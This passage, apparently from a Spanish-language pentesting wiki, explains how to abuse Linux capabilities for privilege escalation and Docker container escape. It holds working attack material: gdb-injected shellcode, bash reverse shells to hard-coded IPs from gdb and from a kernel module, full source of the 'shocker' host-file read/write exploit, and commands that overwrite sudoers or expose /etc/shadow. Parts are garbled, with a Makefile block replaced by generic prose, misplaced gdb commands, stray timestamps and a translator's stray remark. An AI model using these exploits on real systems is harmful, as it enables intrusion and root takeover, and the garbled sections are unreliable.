buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"
# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
Depurar un proceso raíz con gdb y copiar-pegar las líneas de gdb generadas anteriormente:
2023-06-05 18:30:03 +00:00
```
# Attach to the process
$ gdb -p <pid>
# Enable debugging symbols
(gdb) symbol-file /usr/lib/debug/lib/<binary>.debug
2023-06-05 18:30:03 +00:00
# Set a breakpoint
(gdb) break <function>
2023-06-05 18:30:03 +00:00
# Continue execution
(gdb) continue
# When the breakpoint is hit, print the current call stack
(gdb) bt
2023-06-05 18:30:03 +00:00
# Print the value of a variable
(gdb) print <variable>
# Step through the code
(gdb) step
# Quit gdb
(gdb) quit
2023-06-05 18:30:03 +00:00
```
```bash
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
```
**Ejemplo con entorno (Docker breakout) - Otro abuso de gdb**
Si **GDB** está instalado (o puedes instalarlo con `apk add gdb` o `apt install gdb`, por ejemplo), puedes **depurar un proceso desde el host** y hacer que llame a la función `system`. (Esta técnica también requiere la capacidad `SYS_ADMIN`).
```bash
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
```
No podrás ver la salida del comando ejecutado, pero será ejecutado por ese proceso (así que obtén una shell inversa).
{% hint style="warning" %}
Si obtienes el error "No symbol "system" in current context." revisa el ejemplo anterior cargando un shellcode en un programa a través de gdb.
{% endhint %}
**Ejemplo con entorno (Docker breakout) - Inyección de shellcode**
2023-06-05 18:30:03 +00:00
Puedes verificar las capacidades habilitadas dentro del contenedor de Docker usando:
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
```
Listar los **procesos** en ejecución en el **host** `ps -eaf`
2023-06-05 18:30:03 +00:00
1. Obtener la **arquitectura** `uname -m`
2. Encontrar un **shellcode** para la arquitectura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. Encontrar un **programa** para **inyectar** el **shellcode** en la memoria de un proceso ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
4. **Modificar** el **shellcode** dentro del programa y **compilarlo** `gcc inject.c -o inject`
5. **Inyectarlo** y obtener tu **shell**: `./inject 299; nc 172.17.0.1 5600`
## CAP\_SYS\_MODULE
[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite al proceso cargar y descargar módulos del kernel arbitrarios (llamadas al sistema `init_module(2)`, `finit_module(2)` y `delete_module(2)`). Esto podría llevar a una escalada de privilegios trivial y compromiso de ring-0. El kernel puede ser modificado a voluntad, subvirtiendo toda la seguridad del sistema, los Módulos de Seguridad de Linux y los sistemas de contenedores.\
**Esto significa que puedes** **insertar/eliminar módulos del kernel en/del equipo anfitrión.**
2023-06-05 18:30:03 +00:00
**Ejemplo con binario**
En el siguiente ejemplo, el binario **`python`** tiene esta capacidad.
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
```
Por defecto, el comando **`modprobe`** verifica la lista de dependencias y los archivos de mapa en el directorio **`/lib/modules/$(uname -r)`**.\
Para abusar de esto, creemos una carpeta falsa **lib/modules**:
```bash
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
```
Luego **compila el módulo del kernel que puedes encontrar en los 2 ejemplos a continuación y cópialo** a esta carpeta:
```bash
cp reverse-shell.ko lib/modules/$(uname -r)/
```
Finalmente, ejecuta el código de Python necesario para cargar este módulo del kernel:
2023-06-05 18:30:03 +00:00
```python
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
```
**Ejemplo 2 con binario**
En el siguiente ejemplo, el binario **`kmod`** tiene esta capacidad.
```bash
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
Lo que significa que es posible utilizar el comando **`insmod`** para insertar un módulo del kernel. Siga el ejemplo a continuación para obtener una **shell inversa** abusando de este privilegio.
2023-06-05 18:30:03 +00:00
**Ejemplo con entorno (Docker breakout)**
Puede verificar las capacidades habilitadas dentro del contenedor de Docker usando:
2023-06-05 18:30:03 +00:00
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro de la salida anterior se puede ver que la capacidad **SYS\_MODULE** está habilitada.
**Cree** el **módulo del kernel** que va a ejecutar un shell inverso y el **Makefile** para **compilarlo**:
{% code title="reverse-shell.c" %}
```c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```
{% endcode %}
{% code title="Makefile" %}
El archivo Makefile es un archivo de configuración utilizado para automatizar la compilación y el proceso de construcción de un programa. Contiene reglas que especifican cómo se deben compilar los archivos fuente y cómo se deben vincular los archivos objeto para crear el programa final. También se pueden incluir reglas para limpiar los archivos generados y para ejecutar pruebas automatizadas.
Para usar un archivo Makefile, simplemente ejecute el comando "make" en el directorio que contiene el archivo. Make leerá el archivo y ejecutará las reglas necesarias para compilar y construir el programa.
Es importante tener en cuenta que el archivo Makefile debe estar escrito correctamente para evitar errores y problemas de seguridad. Los atacantes pueden aprovechar las vulnerabilidades en el archivo Makefile para ejecutar código malicioso o para obtener acceso no autorizado al sistema. Por lo tanto, es importante seguir las mejores prácticas de seguridad al escribir y utilizar archivos Makefile.
{% endcode %}
2023-06-05 18:30:03 +00:00
```bash
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```
{% endcode %}
{% hint style="warning" %}
¡El espacio en blanco antes de cada palabra make en el Makefile **debe ser un tabulador, no espacios**!
2023-06-05 18:30:03 +00:00
{% endhint %}
Ejecute `make` para compilarlo.
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
```
Finalmente, inicie `nc` dentro de una shell y **cargue el módulo** desde otra y capturará la shell en el proceso de nc:
```bash
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
```
**El código de esta técnica fue copiado del laboratorio "Abusing SYS\_MODULE Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
2023-06-05 18:30:03 +00:00
Otro ejemplo de esta técnica se puede encontrar en [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
## CAP\_DAC\_READ\_SEARCH
2023-06-05 18:30:03 +00:00
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **omitir los permisos de lectura de archivos y de lectura y ejecución de directorios**. Si bien esto fue diseñado para ser utilizado para buscar o leer archivos, también otorga al proceso permiso para invocar `open_by_handle_at(2)`. Cualquier proceso con la capacidad `CAP_DAC_READ_SEARCH` puede usar `open_by_handle_at(2)` para obtener acceso a cualquier archivo, incluso archivos fuera de su espacio de nombres de montaje. El identificador pasado a `open_by_handle_at(2)` está destinado a ser un identificador opaco recuperado usando `name_to_handle_at(2)`. Sin embargo, este identificador contiene información sensible y manipulable, como números de inodo. Esto se demostró por primera vez como un problema en los contenedores Docker por Sebastian Krahmer con el exploit [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).\
2023-06-05 18:30:03 +00:00
**Esto significa que se puede omitir la comprobación de permisos de lectura de archivos y la comprobación de permisos de lectura/ejecución de directorios.**
**Ejemplo con binario**
El binario podrá leer cualquier archivo. Por lo tanto, si un archivo como tar tiene esta capacidad, podrá leer el archivo shadow:
```bash
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
```
**Ejemplo con binary2**
En este caso supongamos que el binario **`python`** tiene esta capacidad. Para listar los archivos de root podrías hacer lo siguiente:
2023-06-05 18:30:03 +00:00
```python
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
```
Y para leer un archivo podrías hacer:
```python
print(open("/etc/shadow", "r").read())
```
**Ejemplo en el entorno (Docker breakout)**
2023-06-05 18:30:03 +00:00
Puede verificar las capacidades habilitadas dentro del contenedor de Docker usando:
2023-06-05 18:30:03 +00:00
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
Dentro de la salida anterior se puede ver que la capacidad **DAC\_READ\_SEARCH** está habilitada. Como resultado, el contenedor puede **depurar procesos**.
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), pero en resumen, **CAP\_DAC\_READ\_SEARCH** no solo nos permite atravesar el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación de _**open\_by\_handle\_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
2023-06-05 18:30:03 +00:00
El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), lo siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.**
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
```
{% hint style="warning" %}
Este exploit explota la necesidad de encontrar un puntero a algo montado en el host. El exploit original usaba el archivo /.dockerinit y esta versión modificada usa /etc/hostname. Si el exploit no funciona, tal vez necesites establecer un archivo diferente. Para encontrar un archivo que esté montado en el host, simplemente ejecuta el comando mount:
2023-06-05 18:30:03 +00:00
{% endhint %}
![](<../../.gitbook/assets/image (407) (1).png>)
**El código de esta técnica fue copiado del laboratorio "Abusing DAC\_READ\_SEARCH Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
2023-06-05 18:30:03 +00:00
{% embed url="https://www.rootedcon.com/" %}
## CAP\_DAC\_OVERRIDE
**Esto significa que puedes saltarte las comprobaciones de permisos de escritura en cualquier archivo, por lo que puedes escribir cualquier archivo.**
Hay muchos archivos que puedes **sobrescribir para escalar privilegios,** [**puedes obtener ideas aquí**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
**Ejemplo con binario**
En este ejemplo, vim tiene esta capacidad, por lo que puedes modificar cualquier archivo como _passwd_, _sudoers_ o _shadow_:
```bash
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
```
**Ejemplo con binario 2**
En este ejemplo, el binario **`python`** tendrá esta capacidad. Podría usar python para anular cualquier archivo:
2023-06-05 18:30:03 +00:00
```python
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**Ejemplo con entorno + CAP\_DAC\_READ\_SEARCH (Docker breakout)**
2023-06-05 18:30:03 +00:00
Puede verificar las capacidades habilitadas dentro del contenedor de Docker usando:
2023-06-05 18:30:03 +00:00
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
En primer lugar, lee la sección anterior que [**abusa de la capacidad DAC\_READ\_SEARCH para leer archivos arbitrarios**](linux-capabilities.md#cap\_dac\_read\_search) del host y **compila** el exploit.\
Luego, **compila la siguiente versión del exploit shocker** que te permitirá **escribir archivos arbitrarios** dentro del sistema de archivos del host:
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
```
Para escapar del contenedor de Docker, podrías **descargar** los archivos `/etc/shadow` y `/etc/passwd` del host, **añadir** un **nuevo usuario**, y usar **`shocker_write`** para sobrescribirlos. Luego, **acceder** vía **ssh**.
**El código de esta técnica fue copiado del laboratorio "Abusing DAC\_OVERRIDE Capability" de** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
## CAP\_CHOWN
**Esto significa que es posible cambiar la propiedad de cualquier archivo.**
**Ejemplo con binario**
Supongamos que el binario **`python`** tiene esta capacidad, puedes **cambiar** el **propietario** del archivo **shadow**, **cambiar la contraseña de root**, y escalar privilegios:
```bash
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
```
O con el binario **`ruby`** teniendo esta capacidad:
```bash
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
```
## CAP\_FOWNER
**Esto significa que es posible cambiar los permisos de cualquier archivo.**
**Ejemplo con binario**
2023-06-05 18:30:03 +00:00
Si Python tiene esta capacidad, puedes modificar los permisos del archivo shadow, **cambiar la contraseña de root** y escalar privilegios:
```bash
python -c 'import os;os.chmod("/etc/shadow",0666)
```
### CAP\_SETUID
**Esto significa que es posible establecer el id de usuario efectivo del proceso creado.**
**Ejemplo con binario**
2023-06-05 18:30:03 +00:00
Si Python tiene esta **capacidad**, puedes abusar fácilmente de ella para escalar privilegios a root:
2023-06-05 18:30:03 +00:00
```python
import os
os.setuid(0)
os.system("/bin/bash")
```
**Otra forma:**
```python
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
```
## CAP\_SETGID
**Esto significa que es posible establecer el ID de grupo efectivo del proceso creado.**
Hay muchos archivos que se pueden **sobrescribir para escalar privilegios,** [**puedes obtener ideas aquí**](payloads-to-execute.md#sobrescribir-un-archivo-para-escalar-privilegios).
**Ejemplo con binario**
2023-06-05 18:30:03 +00:00
En este caso, debes buscar archivos interesantes que un grupo pueda leer porque puedes suplantar cualquier grupo:
2023-06-05 18:30:03 +00:00
```bash
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
Una vez que hayas encontrado un archivo que puedas abusar (ya sea leyendo o escribiendo) para escalar privilegios, puedes **obtener una shell suplantando al grupo interesante** con:
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
En este caso se suplantó al grupo shadow para poder leer el archivo `/etc/shadow`:
```bash
cat /etc/shadow
```
Si está instalado **docker**, podrías **suplantar** al **grupo docker** y abusar de él para comunicarte con el [**socket de docker** y escalar privilegios](./#writable-docker-socket).
## CAP\_SETFCAP
**Esto significa que es posible establecer capacidades en archivos y procesos**
**Ejemplo con binario**
2023-06-05 18:30:03 +00:00
Si Python tiene esta **capacidad**, puedes abusar fácilmente de ella para escalar privilegios a root:
{% code title="setcapability.py" %}
```python
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
```
{% endcode %} (This is not a translation, it's just a correction to the previous message. The correct markdown syntax to end a code block is `{% endcode %}` instead of `</code>`.)
2023-06-05 18:30:03 +00:00
```bash
python setcapability.py /usr/bin/python2.7
```
{% hint style="warning" %}
Tenga en cuenta que si establece una nueva capacidad en el binario con CAP\_SETFCAP, perderá esta capacidad.
{% endhint %}
Una vez que tenga la capacidad [SETUID](linux-capabilities.md#cap\_setuid), puede ir a su sección para ver cómo escalar privilegios.
**Ejemplo con entorno (Docker breakout)**
Por defecto, la capacidad **CAP\_SETFCAP se otorga al proceso dentro del contenedor en Docker**. Puede comprobarlo haciendo algo como:
```bash
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
apsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
Esta capacidad permite **dar cualquier otra capacidad a los binarios**, por lo que podríamos pensar en **escapar** del contenedor **abusando de cualquiera de las otras vulnerabilidades de capacidad** mencionadas en esta página.\
Sin embargo, si intentas dar, por ejemplo, las capacidades CAP\_SYS\_ADMIN y CAP\_SYS\_PTRACE al binario gdb, descubrirás que puedes dárselas, pero el **binario no podrá ejecutarse después de esto**:
2023-06-05 18:30:03 +00:00
```bash
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
Después de investigar, leí esto: _Permitted: esto es un **subconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un subconjunto limitante para las capacidades que pueden ser agregadas al conjunto heredable por un hilo que **no tiene la capacidad CAP\_SETPCAP** en su conjunto efectivo._\
2023-06-05 18:30:03 +00:00
Parece que las capacidades Permitidas limitan las que se pueden usar.\
Sin embargo, Docker también otorga **CAP\_SETPCAP** por defecto, por lo que es posible **establecer nuevas capacidades dentro de las heredables**.\
Sin embargo, en la documentación de esta capacidad: _CAP\_SETPCAP: \[...\] **agrega cualquier capacidad del conjunto de límites del hilo que llama** a su conjunto heredable_.\
2023-06-05 18:30:03 +00:00
